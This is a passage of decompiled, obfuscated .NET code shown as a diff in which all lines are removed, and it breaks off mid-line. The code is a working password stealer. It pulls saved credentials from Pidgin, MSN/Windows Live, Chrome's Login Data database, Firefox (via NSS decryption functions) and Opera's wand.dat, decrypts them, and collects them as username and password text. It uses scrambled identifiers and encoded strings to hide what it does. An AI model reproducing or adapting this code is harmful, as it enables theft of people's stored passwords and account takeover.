elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName4[i].InnerText), (object) "\r\n"), (object) "\r\n"); - checked { ++i; } - } - str1 = Conversions.ToString(Left); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - return str1; - } - - internal static string dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi() - { - XmlDocument xmlDocument = new XmlDocument(); - object Left = (object) null; - string str1 = ""; - string str2 = Interaction.Environ("appdata") + "\\.purple\\accounts.xml"; - if (System.IO.File.Exists(str2)) - { - try - { - xmlDocument.Load(str2); - XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("protocol"); - XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("name"); - XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("password"); - int num = checked (elementsByTagName1.Count - 1); - int i = 0; - while (i <= num) - { - Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: Pidgin"), (object) "\r\n"), (object) "Protocol: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Username: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) "Password: "), (object) elementsByTagName3[i].InnerText), (object) "\r\n"), (object) "\r\n"); - str1 = Conversions.ToString(Left); - checked { ++i; } - } - str1 = str1; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - return str1; - } - - [DllImport("crypt32", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern bool CryptUnprotectData( - ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn, - int ppszDataDescr, - int optionalEntropy, - int pvReserved, - int pPromptStruct, - int dwFlags, - ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut); - - [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CredEnumerate( - string filter, - int flag, - ref int oMhrmhotLlExlwDkbjCerlkhqoalxa, - ref IntPtr puweopTywlscmvSnEiihkDydryxgIJ); - - public static string PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF() - { - string str = ""; - try - { - int oMhrmhotLlExlwDkbjCerlkhqoalxa = 0; - IntPtr zero = IntPtr.Zero; - if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CredEnumerate("WindowsLive:name=*", 0, ref oMhrmhotLlExlwDkbjCerlkhqoalxa, ref zero)) - { - IntPtr[] numArray = new IntPtr[checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1 + 1)]; - IntPtr num1 = zero; - int num2 = checked (oMhrmhotLlExlwDkbjCerlkhqoalxa - 1); - int index = 0; - while (index <= num2) - { - numArray[index] = Marshal.ReadIntPtr((IntPtr) checked (num1.ToInt32() + IntPtr.Size * index)); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL structure = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL) Marshal.PtrToStructure(numArray[index], typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CREDENTIAL)); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB(); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB(); - dataIn.pbData = structure.lpbCredentialBlob; - dataIn.cbData = (int) structure.dwCredentialBlobSize; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 1, ref pDataOut); - str = str + "Application: MSN\r\nUsername: " + Marshal.PtrToStringAuto(structure.lpUserName) + "\r\nPassword: " + Marshal.PtrToStringAuto(dataIn.pbData) + "\r\n"; - checked { ++index; } - } - str = str; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return str; - } - - public static object lzwfsSStCOqKpNfFfqkDmJsEJGRiwFGPniLNtzTbRwrsqvgnuL() - { - string str1 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Login Data"; - try - { - object Instance1 = (object) new SQLiteHandler(str1); - NewLateBinding.LateCall(Instance1, (System.Type) null, "ReadTable", new object[1] - { - (object) "logins" - }, (string[]) null, (System.Type[]) null, (bool[]) null, true); - if (System.IO.File.Exists(str1)) - { - int integer = Conversions.ToInteger(Microsoft.VisualBasic.CompilerServices.Operators.SubtractObject(NewLateBinding.LateGet(Instance1, (System.Type) null, "GetRowCount", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null), (object) 1)); - int num = 0; - while (num <= integer) - { - object Instance2 = Instance1; - object[] objArray1 = new object[2] - { - (object) num, - (object) "origin_url" - }; - object[] Arguments1 = objArray1; - bool[] flagArray1 = new bool[2]{ true, false }; - bool[] CopyBack1 = flagArray1; - object obj1 = NewLateBinding.LateGet(Instance2, (System.Type) null, "GetValue", Arguments1, (string[]) null, (System.Type[]) null, CopyBack1); - if (flagArray1[0]) - num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray1[0]), typeof (int)); - string str2 = Conversions.ToString(obj1); - object Instance3 = Instance1; - object[] objArray2 = new object[2] - { - (object) num, - (object) "username_value" - }; - object[] Arguments2 = objArray2; - bool[] flagArray2 = new bool[2]{ true, false }; - bool[] CopyBack2 = flagArray2; - object obj2 = NewLateBinding.LateGet(Instance3, (System.Type) null, "GetValue", Arguments2, (string[]) null, (System.Type[]) null, CopyBack2); - if (flagArray2[0]) - num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[0]), typeof (int)); - string Left1 = Conversions.ToString(obj2); - Encoding Instance4 = Encoding.Default; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - object Instance5 = Instance1; - object Instance6 = Instance5; - object[] objArray5 = new object[2] - { - (object) num, - null - }; - object[] objArray6 = objArray5; - string str3 = "password_value"; - string str4 = str3; - objArray6[1] = (object) str4; - object[] objArray7 = objArray5; - object[] Arguments3 = objArray7; - bool[] flagArray3 = new bool[2]{ true, false }; - bool[] CopyBack3 = flagArray3; - object obj3 = NewLateBinding.LateGet(Instance6, (System.Type) null, "GetValue", Arguments3, (string[]) null, (System.Type[]) null, CopyBack3); - if (flagArray3[0]) - num = (int) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray7[0]), typeof (int)); - object objectValue = RuntimeHelpers.GetObjectValue(obj3); - objArray4[0] = objectValue; - object[] objArray8 = objArray3; - object[] Arguments4 = objArray8; - bool[] flagArray4 = new bool[1]{ true }; - bool[] CopyBack4 = flagArray4; - object Datas = NewLateBinding.LateGet((object) Instance4, (System.Type) null, "GetBytes", Arguments4, (string[]) null, (System.Type[]) null, CopyBack4); - if (flagArray4[0]) - NewLateBinding.LateSetComplex(Instance5, (System.Type) null, "GetValue", new object[3] - { - (object) num, - (object) str3, - RuntimeHelpers.GetObjectValue(objArray8[0]) - }, (string[]) null, (System.Type[]) null, true, false); - string Left2 = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Decrypt((byte[]) Datas); - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left1, "", false) != 0 & Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left2, "", false) != 0) - { - string str5 = "Application: Google Chrome\r\nHost: " + str2 + "\r\nUsername: " + Left1 + "\r\nPassword: " + Left2 + "\r\n"; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items.Add((object) str5); - } - checked { ++num; } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - object obj; - return obj; - } - - public static string Decrypt(byte[] Datas) - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB dataIn = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB(); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB pDataOut = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DATA_BLOB(); - GCHandle gcHandle = GCHandle.Alloc((object) Datas, GCHandleType.Pinned); - dataIn.pbData = gcHandle.AddrOfPinnedObject(); - dataIn.cbData = Datas.Length; - gcHandle.Free(); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptUnprotectData(ref dataIn, 0, 0, 0, 0, 0, ref pDataOut); - byte[] numArray = new byte[checked (pDataOut.cbData + 1)]; - Marshal.Copy(pDataOut.pbData, numArray, 0, pDataOut.cbData); - string str = Encoding.Default.GetString(numArray); - return str.Substring(0, checked (str.Length - 1)); - } - - public static void TvDbsYmmzeKXixjs() - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Location = new Point(10, 10); - string str1 = (string) null; - bool flag = false; - string str2 = Interaction.Environ(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(214)) + Conversions.ToString(Strings.Chr(161)) + "p" + Conversions.ToString(Strings.Chr(161)) + "\u0014" + Conversions.ToString(Strings.Chr(149)) + Conversions.ToString(Strings.Chr(228)) + " " + Conversions.ToString(Strings.Chr(252)) + "6F")) + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "I" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H"); - string[] directories = Directory.GetDirectories(Interaction.Environ(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(212)) + Conversions.ToString(Strings.Chr(190)) + "s" + Conversions.ToString(Strings.Chr(178)) + "\u0001" + Conversions.ToString(Strings.Chr(153)))) + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("Y" + Conversions.ToString(Strings.Chr(201)) + Conversions.ToString(Strings.Chr(129)) + "M" + Conversions.ToString(Strings.Chr(154)) + "9" + Conversions.ToString(Strings.Chr(180)) + Conversions.ToString(Strings.Chr(195)) + "5" + Conversions.ToString(Strings.Chr(246)) + "\u001Ag5" + Conversions.ToString(Strings.Chr(196)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(253)) + "H" + Conversions.ToString(Strings.Chr(189)) + ">gwuzoT")); - int index1 = 0; - while (index1 < directories.Length) - { - string str3 = directories[index1]; - if (!flag) - { - string[] files = Directory.GetFiles(str3); - int index2 = 0; - while (index2 < files.Length) - { - string input = files[index2]; - if (!flag) - { - if (Regex.IsMatch(input, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("v" + Conversions.ToString(Strings.Chr(237)) + Conversions.ToString(Strings.Chr(137)) + "Y" + Conversions.ToString(Strings.Chr(156)) + ";" + Conversions.ToString(Strings.Chr(171)) + Conversions.ToString(Strings.Chr(140)) + "\u001A" + Conversions.ToString(Strings.Chr(193)) + "\u001F|$" + Conversions.ToString(Strings.Chr(199))))) - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.oivGmTktmoB(str3); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.signon = input; - } - checked { ++index2; } - } - else - { - ProjectData.EndApp(); - break; - } - } - checked { ++index1; } - } - else - break; - } - string signon = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.signon; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem tsecItem = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem(); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result1 = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem(); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result2 = new LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem(); - Base @base = new Base(signon); - DataTable dataTable1 = @base.ExecuteQuery(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + " gvuxy\u001C")); - DataTable dataTable2 = @base.ExecuteQuery(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + "(ab}tfBa " + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(188)) + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(161)) + "\n")); - try - { - foreach (DataRow row in dataTable2.Rows) - str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("m" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(157)) + "C" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199))).ToString(); - } - finally - { - System.Collections.IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.OMhwbbbdVrvk(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.bvryeuuo(), true, 0L); - try - { - foreach (DataRow row in dataTable1.Rows) - { - string str4 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(158)) + "[" + Conversions.ToString(Strings.Chr(154)) + "6" + Conversions.ToString(Strings.Chr(185)) + Conversions.ToString(Strings.Chr(214)) + "\0" + Conversions.ToString(Strings.Chr(223)) + "\u001D/p" + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(247)) + "q" + Conversions.ToString(Strings.Chr(171)) + "#p"); - string str5 = Convert.ToString(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("c" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(156)) + "Z" + Conversions.ToString(Strings.Chr(160)) + " " + Conversions.ToString(Strings.Chr(186)) + Conversions.ToString(Strings.Chr(207)) + "\0" + Conversions.ToString(Strings.Chr(196)) + "&G\u001C")].ToString()); - str1 = str4 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(225)) + Conversions.ToString(Strings.Chr(135)) + "C" + Conversions.ToString(Strings.Chr(150)) + "o" + Conversions.ToString(Strings.Chr(248))) + str5; - StringBuilder inStr1 = new StringBuilder(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(229)) + "\0p\"" + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(162)) + Conversions.ToString(Strings.Chr(232)) + "q")].ToString()); - IntPtr num = new IntPtr(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr1, inStr1.Length)); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem structure1 = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem) Marshal.PtrToStructure(num, typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem)); - if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CqSzxpvjJWBHufugp(ref structure1, ref result1, 0) == 0 && result1.SECItemLen != 0) - { - byte[] numArray = new byte[checked (result1.SECItemLen - 1 + 1)]; - num = new IntPtr(result1.SECItemData); - Marshal.Copy(num, numArray, 0, result1.SECItemLen); - str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("P" + Conversions.ToString(Strings.Chr(247)) + Conversions.ToString(Strings.Chr(139)) + "E" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray); - } - StringBuilder inStr2 = new StringBuilder(row[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(224)) + "\u0012f#" + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(247)) + "p")].ToString()); - num = new IntPtr(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr2, inStr2.Length)); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem structure2 = (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem) Marshal.PtrToStructure(num, typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem)); - if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CqSzxpvjJWBHufugp(ref structure2, ref result2, 0) == 0 && result2.SECItemLen != 0) - { - byte[] numArray = new byte[checked (result2.SECItemLen - 1 + 1)]; - num = new IntPtr(result2.SECItemData); - Marshal.Copy(num, numArray, 0, result2.SECItemLen); - str1 = str1 + Environment.NewLine + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(229)) + Conversions.ToString(Strings.Chr(157)) + "D" + Conversions.ToString(Strings.Chr(132)) + ":" + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(214)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray) + Environment.NewLine; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Text = str1; - } - } - } - finally - { - System.Collections.IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } - - [DllImport("kernel32.dll")] - private static extern IntPtr LoadLibrary(string dllFilePath); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - public static long oivGmTktmoB(string configdir) - { - string str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\"; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "mozcrt19.dll"); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nspr4.dll"); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "plc4.dll"); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "plds4.dll"); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "ssutil3.dll"); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "mozsqlite3.dll"); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nssutil3.dll"); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "softokn3.dll"); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3 = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoadLibrary(str + "nss3.dll"); - return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "NSS_Init"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate)))(configdir); - } - - public static long bvryeuuo() => ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate2) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11_GetInternalKeySlot"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate2)))(); - - public static long OMhwbbbdVrvk(long slot, bool loadCerts, long wincx) => ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate3) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11_Authenticate"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate3)))(slot, loadCerts, wincx); - - public static int xSGTjizteYUcgxxr( - IntPtr arenaOpt, - IntPtr outItemOpt, - StringBuilder inStr, - int inLen) - { - return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate4) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "NSSBase64_DecodeBuffer"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate4)))(arenaOpt, outItemOpt, inStr, inLen); - } - - public static int CqSzxpvjJWBHufugp( - ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem data, - ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result, - int cx) - { - return ((LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate5) Marshal.GetDelegateForFunctionPointer(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetProcAddress(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.NSS3, "PK11SDR_Decrypt"), typeof (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DLLFunctionDelegate5)))(ref data, ref result, cx); - } - - public static string GetOperaa() - { - List stringList = new List(); - string[] strArray1 = (string[]) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DecryptInfo(); - StringBuilder stringBuilder = new StringBuilder(); - string[] strArray2 = strArray1; - int index1 = 0; - while (index1 < strArray2.Length) - { - string Left = strArray2[index1]; - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0) - stringList.Add(Left); - checked { ++index1; } - } - if (stringList.Count == 0) - return " \r\n"; - string operaa; - try - { - int num = checked (stringList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - stringBuilder.Append("Application: Opera\r\n"); - stringBuilder.Append("Host: " + stringList[index2].Substring(0) + "\r\n"); - stringBuilder.Append("User Name: " + stringList[checked (index2 + 1)].Substring(1) + "\r\n"); - stringBuilder.Append("Password: " + stringList[checked (index2 + 2)].Substring(1) + "\r\n"); - stringList[index2].Substring(1); - stringList[checked (index2 + 1)].Substring(1); - stringList[checked (index2 + 2)].Substring(1); - checked { index2 += 3; } - } - operaa = stringBuilder.ToString(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return operaa; - } - - public static object DecryptInfo() - { - if (System.IO.File.Exists(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path + "\\Opera\\Opera\\wand.dat")) - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path += "\\Opera\\Opera\\wand.dat"; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.version2(); - } - else if (System.IO.File.Exists(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path + 